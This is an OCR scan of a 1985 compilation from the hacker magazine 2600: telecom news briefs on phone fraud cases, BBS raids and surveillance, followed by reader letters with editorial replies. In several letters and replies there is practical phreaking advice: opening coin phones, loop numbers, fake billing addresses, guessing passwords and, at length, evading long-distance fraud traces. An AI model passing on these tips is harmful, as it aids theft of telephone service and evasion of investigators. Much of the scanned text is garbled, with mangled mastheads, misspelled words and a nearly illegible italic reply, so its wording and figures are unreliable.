the potential to provide many other services for students in the
future, such as helping determine the status of their financial
aid requests or the status of their admission application.

Trouble With 800 “Word Numbers”

The *oa Yiork Tomew

When Hindalene Rosner saw “1-800-LIVE-AID™ flash on
her television screen in the early hours of the worldwide benefit
concert, she had a feeling that things would get busy.

It should be explained that Mrs. Rosner is vice president of
the Life Aid Corporation. And her company's nationwide toll-
free telephone number is 1-800-LIFE-AID.

“Every two seconds,”™ Mrs. Rosner said, calls were coming
into headquarters in Scottsdale, Arizona, from viewers who
were moved by the Live Aid concert to pledge money for the
starving and homeless people of Africa.

Callers to Life Aid are told very politely that “this is a totally
different business™ and are given the correct listing—in digits
(1-800-548-3243), not letters.

War Game Addict

Aiwreied Proos

A 19 year-old computer enthusiast who said he was addicted
to a space war game and used stolen credit card numbers to
charge playing time was placed on probation and ordered to
make restitution after pleading guilty to wire {raud, a Federal
official said.

The man, Kenneth Goldin, was placed on three years of
probation and fined 8500 by Federal Judge Maryanne Trump
Barry.

Hacker Extortionist Caught

M0 o St HL Ao

Phineas Phreak, he called himself as he roamed through
computer bulletin boards. But he was caught by telco security
men, prosecuted under a 1984 Virginia law designed to zap
computer trespassing and sentenced to pay $300 restitution
within six months.

The l4-year-old Phineas became one of the first persons to be
dealt with under the new law aiter he pleaded “not innocent™—
a plea frequently used in juvenile proceedings to avoid giving
someone a cniminal record. The Montgomerv County, Md.,
youth broke into a computer bulletin board service operated bv

a Vienna, Va., man and transferred part of what was stored
there 1o his own computer. The victim, Allen Knapp, 40. who
runs the Washington Networks BBS out of his home, said his
clients pay a 310 fee for a password and the opportunity to
exchange data with others.

Knapp told The Washington Posi that on Jan, 5 the youth
managed to bypass “my normal secunty safeguards,” transfer
files to his own computer, and erase a substantial portion of
Knapp's files. “He then called my answering machine, stating
what he had done and making certain demands in exchange for
the return of the files in his possession,” Knapp said. According
to Knapp, the youth wanted the access to obtain files that he
would then exchange with his friends. K napp said he called the
Virginia State Police and the Chesapeake & Potomac
Telephone Co. after heaning the message, -

Pitcairn Island Now On AT&T Net

Mo Yok Daily hpws

After nearly 200 years of peace and solitude, the residents of
Pitcaim Island in the South Pacific are about to enter the 20th
century.

AT&T Communications Inc., in its relentless quest to wire
the world, says it has decided to provide international long-
distance service to this two-square-mile island where 53
descendants of Fletcher Chnstian and the other mutineers of
the HMS Bounty still live.

The AT&T service will allow the islanders to receive and
make calls anywhere in the world, instead of just ringing over to
Tahiti. But theyl have to learn to talk fast. A three-minute call
to or-from the U.S. will cost $11.83 and $3.36 for each
additional minute.

Calling from the U.S. will be tough. Since all the residents
must use the island’s one telephone, they have already divvied
up the time for making and receiving calls from each country.
They will be accepting calls from the U.S. at 2 pm, 8:30 pm, and
1:15 am.

Private Sector Update

R e Senie

Last month. we told you about the raids in New Jersey which
involved our official BBS, The Private Sector, as well as the
flurry of headline grabbing that ensued. The sysop of The
Private Sector is confident that he will have his equipment
returned and charges against him dropped. His lawyer, Arthur
Miller, who was obtained for the sysop through the American
Civil Liberties Union, has not been able to make much progress
on the case. Court proceedings have been postponed at the
request of the prosecution. To dage, the sysop still does not
know the evidence against him, nor of any specific crimes he
may be charged with. It is expected that the prosecution may try
to hold up the equipment and any final actions in this case until
the local elections are over.,

Since the raids, 2600 has heard of several cases where BBS
users have gotten phone calls from federal agents. We have also
heard of a few other bulletin boards that have been taken down.
If vou know of any such cases, please contact our office at
5167512600,

Inaddition, since the BBS is not currently available, we have
made arrangements for uploading of lengthy articles at our
office number. They can still be sent by US Mail.
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Computer Elections Examined
Tbe Som Yok Lomes

A branch of the National Security Agency (NSA) is
investigating whether a computer program that counted more
than one-third of all the votes cast in the United States in 1984 is
vulnerable to fraudulent manipulation.

The NSA's principle job is to collect intelligence by
eavesdropping on the electronic communications of the world
and to protect the sensitive communications of the United
States.

The investigation was initiated under a recent Presidential
directive ordering the National Computer Security Center to
improve the security of major computer systems used by
nonmilitary agencies such as the Federal Reserve Board and the
FAA and for such private purposes as banking.

The Computer Security Center was established three vears
ago to improve the security of computers within the military
services but was recently given the broader mandate. The
annual budgets and number of employvees of the agency and the
center are secrel.

Representative Dan Glickman. chairman of a House Science
and Technology subcommittee that has held hearings on the
role of the center. said he had “serious reservations™ about a
Defense Department agency becoming imvelved in computer
systems handling sensitive civilian matters like elections.

“The computer svstemns used by counties to collect and
process votes has nothing to do with national security and | am
really concerned about the National Security Agency’s
invelvement.™ he said.

The target of the center’s investigation is the vote counting
program of Computer Election Systems, the dominant
company in the manufacture and sale of computer voting
apparatus. In 1984, the company's program and related
equipment was used in more than 1,000 county and local
jurisdictions to collect and count 34.4million of the 93.7 million
votes cast in the US. The center became interested in the
question of the wvulnerability of the company’s programs
because of separate pending lawsuits, brought in Indiana, West
Virginia, Maryland and Florida, which have challenged the
election results processed by it.

The Institute for Electrical and Electronic Engineers. the
world’s largest engineering society, has said that the NSA’s
involvement could lead to a kind of “regulation, restraint and
monitoring™ that might cause a “collision with constitutional
principles of individual privacy and freedom of speech.”™

Two Inch Thick Bill

Buch Counin Courss 1 eigs

A Columbus businessman said he knew he was in trouble
when his long-distance phone bill came in a box. David Noyes
opened the box to find a [65-page bill from MAX Long
Distance Service. The total: $11.641.73.

“I quickly perceived that it was an impossibility,” he said.

MAX officials said Noyes was sent a letter telling him not to
pay the bill. A company representative said Noyes account had
been flagged “possible computer fraud ™ and the bill should not
have been sent.

Noyes, however, is not one to let material for a good joke slip
away. He went from door to door in his neighborhood asking
for contributions. No one chipped in.

Navy Calls Dial-a-Porn
Hackeivaick Record

The Navy in San Diego, stung by purchases of high-priced
spare parts and a theft ring linked to Iran, was in no mood to
laugh off $112 worth of phone calls to a “dial-a-porn™ service.

“Nobody here thinks it's humorous,” said Ken Mitchell, a
spokesman for North Island Naval Air Station.

“The minute the phone bill came in. we jumped on it," he
said. “We called people in. We talked to them. Nobody wanted
to confess, We passed the hat, and the bill was paid.™

Navy Phone Phreaks Nabbed

dparualogd Prewe

Seven sailors have been fined in Groton, Connecticut and 38
others have been disciplined for their roles in a long-distance
telephone scam at the U.S. Naval Submarine Base, a Navy
spokeswoman said.

The sailors fraudulently used telephone access codes to place
$58.000 worth of calls, said Lt. Cmdr. Cherie A. Beatty, public
affairs officer.

The victim of the scam was US Telecom, a long-distance
telephone service based in Dallas, she said, adding that the
sailors had obtained private code numbers belonging to US
Telecom subscribers.

Phone Booth Captures Man

wew Jemey Sur | edper

State Police reported that a motorist identified only as
“anvone but Superman™ was stuck in a telephone booth along
the New Jersey Tumnpike for half an hour when the door
jammed.

The man called the State Police barracks in Newark and
informed them he was “stuck in a booth and running out of
money.” said a trooper who reported o the scene.

“He was just standing there looking embarrassed when we
arrived,” the troopersaid. *I didnt want to bust up the place, so
I just kicked on the door for awhile and it opened. 1t works fine
now.”

The trooper said the man “appeared to be ina real hurrv™and
left before he could find out his name.

Telco Rats On Government
Sem Yok Dby Sews

The office of US. Auorney Raymond Dearie made a
horrendous blunder in the probe of State Supreme Court
Justice William C. Brennan. Whether Brennan 1s guilty of
anything. or pure as the driven snow, Dearie’s crowd blew their
act. They exposed their own investigation.

Dearie’s sleuths subpoenaed Brennan’s phone records early
this year. They failed 1o obtain a simultaneous court order
directing the phone company to keep the subpoena secret.
which s standard procedure.

In the absence of the count order. the phone company by faw
had to advise Brennan his records were subpoenaed. Brennan.
in a masterpicce of understatement. observed that when he
received the notice, “1 figured they were doing some sort of
investigation, ™
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Columnist Attacks AT&T

Combined Newy Soanom

Syndicated newspaper columnist Mike Royko said he would
not stop “guerrilla tactics"against AT&T until callers trying to
reach a company office stop ringing him instead.

AT&T publicly apologized yesterday to him by placing a
quarter-page advertisement in the Chicago Tribune reminding
customers to dial 1-800 before the seven-digit number to reach

its consumer products office. Otherwise, the number is the same

as that of Royko’s Tribune office.

After the phone company suggested he change his number,
the columnist said he adopted guerrilla tactics, including
suggestions that callers throw faulty phones out the window
and telling callers AT&T would not provide service because
they were ltalian or Polish.

He said he did not expect AT&T to change ifs number, but
that the company should not expect him to stop his vendetta.

No Dial-it Calls For Feds

Ansoraied Pros

Those casual calls to get the time, weather, or hear a recorded
joke are becoming a thing of the past for federal workers.
Telephones in most federal offices in New York and Chicago
have already been blocked electronically from making these
calls, and the process is now underway in Washington.

The price of such calls ranges from 6.9 cents to$1, depending
onwhich service is telephoned. Federal officials figure they can
save $300,000 annually by eliminating these expenses. The
government last year was billed 534 million for calls made
within government agencies in the Washington area and 36
million more for outside calls. The latter included about
$250.000 for weather and time checks and $40,000 for calls to
pre-recorded messages.

Eighty-six percent of the federal telephones in the area are on
an electronic system that can block certain types of calls.

Dial-it Sex Numbers Argued

{verhancd Sews Samunoes

Senators Jesse Helms, R-N.C., and Jeremiah Denton, R-
Ala., are leading the fight to make it illegal to transmit
“obscene, lewd, lascivious, filthy or indecent™ material via
telephone or cable television. The bill, introduced by Helms
would make it a federal crime even for a married couple to have
a sexually explicit conversation over the telephone. 1t would be
punishable with a fine of $50,000 and up 1o two years in jail.
Helms and Denton say children are the unwitting victims of
“pornography™ distributed over the telephone and by cable
television. They hear of the telephone number through friends,
dial it. and are subjected to "gross sexual descriptions of
bestiality, homosexuality, defecation, urination and so on,”
according to a Denton aide.

The bill is vigorously opposed by the American Civil
Liberties Union, which says it would eliminate most R and PG
rated films from cable television.

Bowing to public pressure, Central Telephone Co. of Nevada
has withdrawn a request to offer dial-it 976 services, thus losing
a possible $500,000-a-year in revenue. The company pulled its
proposal from the state Public Service Commission after 300

Southern Nevadans complained that Las Vegasalready suffers
from a “sin city” image without allowing easily accessible Dial-
a-porn too. The residents identified themselves as church civic
organizations were among those testifying against
implementing the service.

Bell of Pennsylvania is suing to swilch off the companies that

the sex talk on its dial-it services. It asked the Court of
Commeon Pleas in Philadelphia to rule whether the six
companies that program sex talk on 10 numbers in
Philadelphia and seven in Pittsburgh are disseminating
sexually explicit material to minors.

Bell of Pennsylvania like other phone companies are
essentially powerless to refuse the Dial-it numbers, which begin
with “976™ to anyone who wants to lease them.

In May, Mountain Bell in Phoenix, Arizona, was allowed to
turn off five sex lines after a federal judge ruled that the
messages were obscene and unlawfully available to minors. But
this was later overturned by a Federal judge who ruled that the
state law used was unconstitutional and that it depnved the
companies that supplied the service of its First Amendment
right to free speech.

Big Deal for Little Town
Linibed Frowe ol )

A dozen miles of cable were laid and the first telephones were
recently installed in 11 homes in two remote towns in Kitsap
County, Washington.

The towns of Toonerville and Dewatto were one mile outside
Pacific Northwest Bell's service area, so the towns were finally
hooked up by Inland Telephone Co.

Most of the area’s 50 homes still have not signed up for
phones because of the 351 monthly bill for local service.

Springsteen Mama
L ombsned Mpw ourn

When tickets went on sale in July for concerts this August, no
one expected this to affect almost all aspects of New Jersey
telephone service. New Jersey Bell officials reported 24 million
more calls than normal, because tickets to see the Boss were
made available through Teletron. There were many reports of
people waiting for minutes for dial tones; some of them got
busy signals when they tried to call the operator.

One independent company, Murphy Realty, was receiving
more than 50 calls an hour because of the Springsteen concert.
The new branch office was assigned a new phone number which
had been the prior number of a ticket agency. Since these sales
offices were made available 24 hours a day, the calls started
coming in te the home of Lois Roland, the salesperson who had
the office phone diverted to her number.

Meanwhile, New Jersey Bell had to suspend seven of its
employees—including six managerial-level workers for using
company equipment to get through busy circuits to order the
Springsteen tickets. The seven were suspended without pay for
two weeks or less, because they violated Bell's code of business
conduct by using official company equipment for personal use.
The employees used test equipment normally used to check out
the company’s network in order to seize available lines to give
them preferential access to Teletron on the Friday that the
concert tickets were made available.
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Telco Service Spawns Racist Banter
Hudion Dupanch

Anyone who wants to know what Hudson County youth are
thinking need only pick up the phone any hour of the day or
night. But what comes out of the receiver may prove
disappointing.

A group-access service that the state Board of Public Utilities
recently approved for a six-month trial has been billed by the
phone company as providing an opportunity for young and old
to share conversation and advice. Instead it has generated the
audio equivalent of graffiti in a public toilet—raunchy, simple-
minded come-ons and jokes. The ten-person conference calls
also have provided an unusual forum for open racial conflict.

“Any [blacks] on this line?" a young female voice asked one
afternoon on the line billed as “Talk Exchange™. “Better get
off—this is a whire line.”

If the current talk on the phone lines is any indication, New
Jersey Bell stands to make a tidy sum from the tnal, at least
until its six months are up.

French Phones Renumbered
The Mew Yook Tonss

French phone service, once notorious for its inefficiency, was
seized by a technological revolution on October 25. A flick of
the switch and—voila!—all 24 million numbers had eight digits
and no area codes.

About 22,000 technicians mobilized for the changeoverat 11
P.M. That was the time of the week, researchers concluded, at
which the French made the fewest telephone calls.

“The world is watching us,” said Louis Mexandeau, minister
for the Post and Telecommunications Authority. "It 1s the
biggest such operation ever conducted.”

The old numbering systemn, created in 1955 for two million
subseribers, had reached the saturation point, the telephone
authority said. The conversion to eight digits will give the
service about 50 million lines.

In Paris, the new eight-digit numbers are created by
preceding existing numbers with the figure “4.”" In the
provinces, area codes have been incorporated into existing
numbers.

BB Watching Without Regulation

The Nes Yaork Timo

The Government's ability to keep track of people has become
much more effective in the last two decades, but “the law has
not kept pace with these changes,” according to a nonpartisan
Congressional research agency.

In a report on electronic surveillance and civil liberties, the
Office of Technology said it had identified 85 separate
computerized record systems used for law-enforcement,
investigative and intelligence purposes, with a total of 288
million records concerning |14 million people.

For security reasons, the Office of Technology did not
request any information from the Central Intelligence Agency
and the National Security Agency, the two Federal agencies
believed to be most heavily engaged in electronic and other
kinds of surveillance on a worldwide basis.

The report said there had been “a virtual revolution in the
technology relevant to electronic surveillance™ in the last 20
years, citing “advances in electronics, semiconductors,
computers, imaging, databases, and related technologies.™

For example, the report said, a helicopter flying at 6,000 feet
can track over a 250-mile radius the radio signals sent by a small

electronic beeper attached to a car.

The Technology Office said that its review of existing statutes
and court opinions found that the law “does not adequately
cover new and emerging electronic surveillance technologies.”

Fawcett Phone Bill Too Big
Mew York Posl

Farrah Fawcett has a big phone bill—and it 1snt because
she's calling long distance. A man suspected of stealing the code
to the actress’ car phone has been charged in a related case.
Michael Shaw of Culver City allegedly stole an unidentified
party’s code and billed to them about $13,000 of calls made
from his Mercedes. The victim named in the criminal complaint
was Common Carrier Communications, the Santa Ana,
California company that provided the mobile phone service,
according toa deputy District Attorney, who alleged that Shaw
also stole Fawcett's phone code.

Inmates Handle Information Calls
The Mew York Tume

The Department of Motor Vehicles has announced that it
will use prison inmates to handle telephone calls for
information from people in the New York City area.
Eventually, as many as 100 inmates from the Bayview prison
for women will be participating. The women are to be paid 50
cents an hour.

No More Redialing?

LISA Today

The Federal Communications Commission ruled on
November 4th that automatic redial buttons on telephones
cannot call the same number more than 15 times in a row.

It seems we keep jamming telephone lines duning radio
phone-in contests and power blackouts. When Bruce
Springsteen tickets went on sale in Washington in July, the
phone system was garbled for hours. That forced callers 1o wait
to get through to other numbers.

The FCC blames redial, saying it lets us buzz the same
number hundreds of times with little effort.

The rule also covers computer redials—but it won't affect
existing equipment. The FCC is asking for public comment by
January 10th on regulating computer redials. [Regulated
phreaking, what will they think of next?]

Cityphone Has The Answer
Mignhatisn, In:

It's the ultimate in trivial pursuit. Where can a New Yorker
rent a penguin for a day? Where do you go to have bagels
bronzed?

For 15 years now, operators at Cityphone, a division of the
New York Yellow Pages, have been answering questions
ranging from the ordinary to the outrageous. The New York
Yellow Pages, commonly known as the “Bluebooks™, is the
brainchild of Eugene Gottesman, an entrepreneur who realized
that as the Bell System’s Yellow Pages became too burdensome
for easy use, his Bluebooks could combine neighborhood and
city listings in one lightweight volume. He started Cityphone to
hype Bluebook advertisers, but over the years it has become a
sort of investigative hotline.

“If it exists, we find it,” said an operator. “Sometimes the
search can last for days, even years. We never give up.
Cityphone is open during business hours at 2126750900.




LETTERS

Reader feedback significantly increased during our second year and the let-
ters page was a regular feature for every month except August, which was
devoted primarily to the seizure of our BBS. As in 1984, letters were confined
to a single page and the December page contained responses to the surveys
that had been mailed to all subscribers.
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LETTERS TO US

[hear 2800

1 think the question vou referred to me last September from the Crystal Palace
operator is one of the most widely asked questions these days in light of the LA
case involving an operator, Mr. Tcimpidis. The answer is hard. The firsa
amendment protects most communications short of promaoting the vielation of
Lvws by specific actions. Its application to bulletin boards is complicated by the
uncertain nature of computer communication. Newspapers are more protected
thin radio stations because the traditional theory says that the govermment can
regulate the airwaves since they are a limited resource and regulation is merely a
side-effect of allocaing the resource among competitive users. Will bulletin
boards be treated like radio stations or newspapers? Only time wall rell,

Let's try a differem approach. Criminal law generally requires “mens rea™ or
guilty knowled ge before someone can be convicted of a crime. The proprietor of
a pornographic bookstore cannot be convicted of possessing obscene books just
because they are in the store, There must be proof that he or she knew the books
were obscene, Likewise(T)an operator cannot be prosecuted for information on
his/ her board unbess there is proof of knowledge of the contents of the message
in question. More than knowledge is required. There usually must be intent 1o
commitacrime. Ifa Metro code is on your bulletin board, and you do not know
whether it is valid or not, it seems difficult to prove that you have the inient 1o
commit a crime, or to aid and abet someone else to commit a enme. Lest the
reader take this as a guarantee that there will be no presecution, it is important (o
add 1hat most el the elements of most crimes can be established by circumstantial
evidence. This means, in short, that il a jury believes a prosecutor’s argument
that the smoke he/ she demonstrated is sufficient to establish that the defendant
causes the fire. If the contents of a bulletin board are clearly the efforis of people
fo steal money, computer time, telscommunicalion services, ¢ic., it can be
argued that the operator must have seen the messages, knew their intent, and
willfully aided and abetted the perpetrators of at least criminal attempts, if not
CTIMES.

If the last iwo paragraphs seem to contradict each other, the majesty of the law
in its paradoxical confusion has been made manifest, As every lawyer always
says in conclusion, the information herein offered is gencral, and worth about
what the reader has paid for it. Specific questions are best discussed with a
defense attorney. More general information will appear in the first issue of
Conscienee in Comprating, which will contain a case study of the Teimpidis case,

Jay BloomBecker, Esq.
Director, National Center for Computer Crime Diala
Las Angeles
Drear 2600

My Favorite BBS is The Temple of RA at 9072486298, The sysop is Mad Jap
and there are a number of boards, including paranormal, main board,
phreakers, game board. and SLIME board. It runs an alterated GRBS and it has
a ot of quality users plus a great sysop. These people discuss a lot of interesting
things.

The GCI Guy
Aluska
Dear Twenty Sic Hundred En: [sic]

15 it something we did or didnt do that might be the reason you haven't used
Easvlink kately? If so, please ket me know.

Just contact me at (516) 93E-5600 (or drop a note in my Easylink mailbox
62661080) and | will be more than happy to answer any questions that you may
have. :

Sincerely,
John Sengelaubk
Western Union
Drear John:
Please leave us the hell alone, You people are fools.
Drear 2608

In response to vour article on fortress fones, | would like toadd a picce of info.
I have noticed a Bell repair lady opening upa fortress fone totake the change and
bring it back to Ma. When she opened it, she took one key and stuck it on the
right lower side of the fone and wrned it twice clockwise, then inserted another
keyat the front, turned that counter-clockwise and pulled out, and voila! She got
the box with change. | hope this can help you out,

Also, at one time. | dialed 09391212 and [ got a ringing. Where is that going™
Sector 17
Diear Sector:

If it"s mever answered af any hour of the day or night, then odds are it’s some
kind of a test number.
Drear 2602

Have you ever wanted to know what city a phone number is located in? It's
easy! Allvou need 1o know is the area code, the desired prefix, and how 1o push
0" on your touchtone® telephone. (You do have touchtone®, don® you?)

Suppose that we find 2139753617 written down in our notgs but dont know
where it's located. Put on vour teleo voice, turn dewn the Pink Floyd, and call
vour friendly local teaspoon{ TSPS) operator, When (s)he answers, say, "Name-
place please, 213975.° The op will 3-way to a Rate & Routing op in area code
213, who will cheerfully tell you the location in question. In this case, the tekco
clones will tell vou “Los Angeles, California”, which you probably suspected all
along. They will even call you *sir™ Just think—you have tied wp two teleo
clomes and a landline to Smoery Southern California, 1sn't this phun?!

Another thing: some pholks think that loops exist only in the Untied States of
Anemia, Au contraire, Pierre! Here are some loops in the Great White Nonh,
Montreal to be specific, The area code is 514 and the patternis NXX-1194) 1195,
Some prefixes known to be working are 324, 374, 656, 678, 731, 733, 738, 739,
and 933, 374-1194/ 1195 s rumoured to be a phreak hangout,

A caveat, however: often you will get someone who speaks French. If you
don’t speak French, then... call another loop. Keep in mind that these loops are
long distance (unless you happen o live in Montreal), so don run up your
phone bill calling them. Dont ren up someone else’s phone ball, either (although
everyone knows that moral, upstanding 2600 readers never break the law), These
loops are often busy, so keep trying.

Bob Gamma
Dear 2604: .

Areany of your readers familiar with the Imernational Day of the Phreak? It's
an annual event that’s been going on for about three years now, with growing
support each time. On the first Saturday after tax day (this year that would be
Saturday. April 20), phone phreaks all over the world “get together™ and do
funny things to phone companies all over the world! Two vears ago some pholks
knocked outa Sprnt satellite link by repeatedly calling the same access number
with the same code from many different cities at once. It was great phun.s

Perhaps your readers can suggest ideas for this year’s “hohday™. Also, does
anyone know of a similar day for computer hackers? | think it takes place inthe
fall. (Phreaks can outdo hackers any day, by the way!)

Father
Dvear Father:
This is truly horrible. Do keep us informed., though.
Deear 2604

I*ve been staving awake nights lately wondering why whenever someone gives
out a nationwide toll-free number (in an adverisement or a radwo show) they
always give out two—one for callers outside their state, and one for callers
within. Why can't the phone company give them one number for bath? 1t might
be cheaper the first way, considering that in-state calls are ofien discounted
separately from cross-state calls, but even rich folks like 1BM have a separate B0
number for the in=state calls, You'd think that they would rather pay more fo
one number and confuse their public less, Or would they?

Insomniac
[hear Insom:

It has to do with tanfls, Insome states, things get so ridiculows that the United
Parcel Service has to ship packages to another state in order for them 1o be
deliverad within 1he same state! Similar antics are the rule with phanes,
especially now after the breakup. Generally, if an 800 exchange ends ina 2, ie.
522,932, it's likely the exchange only works within the state and not nationally.
In other words, its been the teloos that have been setting the rules of two
numbers for the same thing. Thats been changing, though. EXS allows
practically ary number to be used as an B0 ndmber regardless of exchange. This
allows for lois of letter-numbers (B00DTALITT, B0OTELECUE, ewe.) and also
allows the same numbers to be used all over the country, So it should stan
looking less confusing. Now get some sleep.

Aswe start our second year of publishing, we can't help but notice the tremendous amount of
reader response and article submissions we're getting. Our 1985 issues will reflect this and
wind up being more interesting, informative, and diverse. You, too, ¢an be a part of this.

you think you have anything at all to lend to this publication, write or call (our front page

tells you how).
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LETTERS FROM YOU

Dear 2600:

I recently got a notice in the mail from Mountain Bell. Me
and 4 other guys roomed together in this apartment and one
skipped town afier he disconnected his phone. Hedidn't pay his
final bill, so Ma Bell is threatening to have our phones cut off
because of what he did.

The lady at Ma Bell says it’s cause this guy left his final billing
address as ours, so as far as Ma Bell’s concerned, he still lives
here and gets phone service by using our phones. Can you
believe it?!!

Mad as Hell
P.S. We are now having to pay 320 a month extra to Keep our
phones connected. People! If vou're living with someone and
are going to disconnect vour fone, give Bell a fake final billing
address so this doesn't happen to yvou!
Dear Mad:

It would be amusing if someone were to give a large
corporation’s address as their final billing address. Theoreti-
cally, evervbody there would get a threat similar to yours.
Realistically, it probably isn't quite that easy. But this is
nothing new for telephone companies. We've heard many
similar stories and a good deal of them have to do with college
students. The telephone company gets away with murder when
it comes to dealing with students in dormitories.

Dear 2600:

My alias is The Crazy Man. I run the board called The
Phreak Show. It can be reached at 3039797992, Y our magazine
15 a kick in the ass. Keep up the good work!

Dear 2600:

Please help me settle something I've long wondered about.
Do telephone employees get free phone service or discounts on
their phone bill?

sJ
Dear SJ:

From what we've been able to find out, free telephone service
is given to management employees and also to those employees
that have been around for thirty vears or longer. Usually there’s
a usage allowance of around $35 which includes service charges
and local calls. Any charges above that allowance get billed to
the employee. Anyone who works for the phone company for
more than six months is entitled to a 50 percent discount. These
rules, though, probably vary greatly throughout the country.
Dear 2600:

I recently purchased a T1-99/4A console. I am having trouble
producing multi-frequency hertz tones in BASIC. Could you
help me?

Another Hacker
Binghamton, NY
Dear 2600

Asa novice hacker | have a great deal to learn. | have recently
purchased an Apple Cat and am currently using “Joshua™ for
carrier detection and retrieval,

My question is: “What do | do now?”

Is there software or hardware available to hack the
passwords and 1D numbers or does one just connect and play
musical fingers on the keyboard until you get lucky?

Any assistance would be greatly appreciated!

KC
Scottsdale, AZ
Dear Folks:

There are many many programs out there to do just what you
want to do. Unfortunately, we don't have programs for these
specific computers. But we know many of our readers do. We
hope to receive programs in the future so that we can print
listings. In the meantime, musical fingers is a method that has

proven effective in the past and 15 still known to work more than
a few times.
Dear 2600:

To start out | would like to say thank you. | have been getting,
2600 for a year almost. 1 stopped phreaking about 8 months
ago. At one point inmy life phreaking was very important. So if
you guys need any info let me know. [ willtryand get it for you.

Anyways here is a real short story. [ was talking with my dad
about a year ago when | got into all this stuff, He told me to be
careful and watch what I was doing. Then he told me about this
new way in which it would make it impossible for someone like
youl or me to use another person’s Sprint code. This would be to
make a device that would change the code cach and every time
you called the number. Y our device would make up halfand the
rest would give vou the other half of the code.

Do you know about any books or other good sources for
phreaking information? If so, please let me know. lam doing a
report for my history class.

Do you have any info on the NSA? Also could you somehow
let me know about boxes? Do you know or have any good
phreaking board numbers? 1 feel like a fool asking you for all
this stuff. But for now, you are the only ones who can help me
oul.

Also, if yvou want info on companies like AT&T, ITT, ete.,
just let me know. I would just send it all but that would be one
hell of a pile.

DB
San Jose, CA
Dear DB:

Almost all of what you're looking for can be found right here
in 2600. We have an article on blue boxes this month and in the
past we've focused on other kinds. We're also constantly
printing titles of reference materials. There’s no reason to feel
like a clown for asking questions. Just think of all the others
who don't. You've actually heard of the NSA! And you don't
seem to think it’s another soceer league, as many do. (We'll have
lots of info about them soon.)

The device you mentioned sounds interesting. But how
would your little device know which numbers to spit out to the
main computer? Also, how would it stop hackers from guessing
a one-time code amvway?

As far as info on other companies, please send it. We geta lot
of mail and we read all of it. All of the information we get is
eventually conveyed to our readership, so everybody benefits.
Dear 2600:

How can 1 make calls to ships at sea? Do they each have their
own phone number? Is there a directory?

James
Dear James:

We went right to the folks at AT&T on this one. Here is their
reply: “The procedure for placing long distance calls to ships on
the high seas are handled in the following manner. [sic] You
first must dial the operator and ask to be connected to the high
seas operator, The only information you have Lo provide is the
name of the ship and a call letter. The high seas operator then
signals the ship. It sometimes takes hours for the ship to return
the call. When the ship operator reaches the high seas operator,
the call is then connected to the original caller. All calls goingto
ships on the high seas must be placed this way—calls cannot be
directly dialed. There is at this time no printed list indicating
ship ID numbers or ocean codes.™

As always, 2600 will be more than happy to compile such a
list. Keep in mind, also, that failed attempts at reaching a ship
(real or imagined) don't cost anything but time.
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THIS MONTH’S LETTERS

For the 2600 reading list;

The Caralog of Techrical fnformation, available from Bell Communications
Research is a free source of information re: available technical manuals.

LERG Book. Good, but *I™ expensive (wouldn't want all the fone phreaks to
get it ). Better to get through trashing.

Animal

Jocl, ALE., A Hitstory of Erngieering and Science in The Bell Svstern: Switching
Technology (19251975 ), Bell Laboratories, 1982

Hamsher, Donald H,, Communication Svitern Engineering Handbool:,
McoGraw Hill Book Company, 1967.

Both were 6213811 on the Dewey Decimal System. The Bell book mentions
that there are other books in the series, The Communicialions SvsIems one savs i1is
updated periodically, so it may have a more current edition, The Handbook says it
also has “The Lineman’s Handbook™ by Kurtz in the same series. Both are
extremely good and Bear looking into. Tons of techmecal {almost too) data. Much
better than these “what's the phone company doing with my call™ books littering
the kiddie sections of the library. [ suppose a college library would be an even
betier place to look, especially onc for a college with a good electrical engineenng
progranm.

l also found a great nine page, small print article on blue boxing and phreaking
history in the June 1983 Frguire on page 376, Originally published in October
1971, it provides an excellent background on the state of phreaking in the sixties,
with interviews of Al Gilbentson.” Fraser Lucey, Joc Engressia, and Captain
Crunch.

The Shadow
Drear 2o

I have ome question about phome companies, When using Sprint to call long
distance, how can vou tell if the company traces? Does Metrophone trace” What
aboul Allnet?

Also, [dialed a few numbers in Columbus, Ohio. When the other side answered,
| received some very sirange noises..really strange. Please reply.

Kazrmatic
Dear 2600

Exactly what can the LD services do if they catch you using their svstems
illegally? 1 have heard they can take yvourwhole svstem and sell it to pay them back.
This sounds a hittle unreal to me. What if the system isnt yours?

What is the criminal term given for phreaking if vou are just using the LDS to
callupa BBS and not a Dolycompauter? 1s incalled thelt by wire fraud? Hopefully
WOLL Can answer 1hese questions,

GR
Lanws vary froem state to state and also when crossing stade lines. If, say, vou call a
long distance service using a local access number and comumit fravd, thev can get
vor on a federal o with the logic that the comprter vou defravded is in another
state, event though vou didn T actually call that other state divecily. In most cases,
wire fraved 15 what they hit you with, Some states, ke California, are more severe,
I Alaska, it is ilegal 1o "deceive g machine”. With regards to long distance
corpanies, we asstene that thev A LL frace—we suggest vind assume the same. We
ey know whern it 5 mowre likelv: wohen using @ 950 number, whern making lengihy
calls on the same code from the same number ar the same time of day, whern
everrone in the waorld siers 1o know abort i, dte. A good phreak con make traces
corpletely wicless by rerowting, being unpredictable, and bricl when possible,
Nowes are not really a clwe tooa frace, These companies have been around long
crough to fguee ot how 1o do silenl traces—noies are probably just poor
coriecitons or fardiy equipenent, Keep i eiind that s alio a let easier fand
cheaper) for the companies 1o simply Tixterr i to an llegal call and wait for
revealing informarion 1o be dropped. We dowl, thowgh, that this would bold up
well i cowrs. The companties dont really care WHOY vou call buar they are
drterested in fink iy as many people fogether as possible, They may intimidate the
called parrry fnte revealing the mame of the persorewho called at a certain time, even
dhewgrh there s mot a thing they can do to them i they don't talk (that is a very
impaoriani fact | {f necessary, they can take equeipmens, if they can prove thar it was
eesed fo corrnil frawd— it doesn 't marter who f belongs vo, And they can find a
wa v o keepr it voucan 't pay them back for “services rendered . When plaving the
long disrance game, securify is g must, The conseguenoes are Just feo anpleasant,
Dhear 2600-

Mike Salerno’s article, “Getting in the Back Door,™ was well written and
informative except for the part on UNTX,

It seems that the author has a basic "feel™ for UNIX vei be probably only has had
EXPETIENCE ON ONE OF [W0 SYSIEMmS,

While UNIX may be “simple™ compared 1o other operating svstems such as the
TOPS-20, i far from having “some pretty good security measures.” One of the
original designers of UNIX, Dennis M. Ritchie, affectionately known to some as
the supreme “super user,” once sawd, ... UNIX was not developed with security, in
any realistic sense, in mind; this fact alone guarantees a vast number of holes.™

Mr. Salerno refers to covmmands such as “who™, "svee", “help”, and “learn™as
accounts. Since UNIX is my favornite operating system, used by many of the Bell
operating companies and similar 1o COSMOS, | have had much experience on
over a doren different systems and | have never encountered the above as
accounts. Granted, though, it would not be hard to implement; my point is that it is
nok standard.

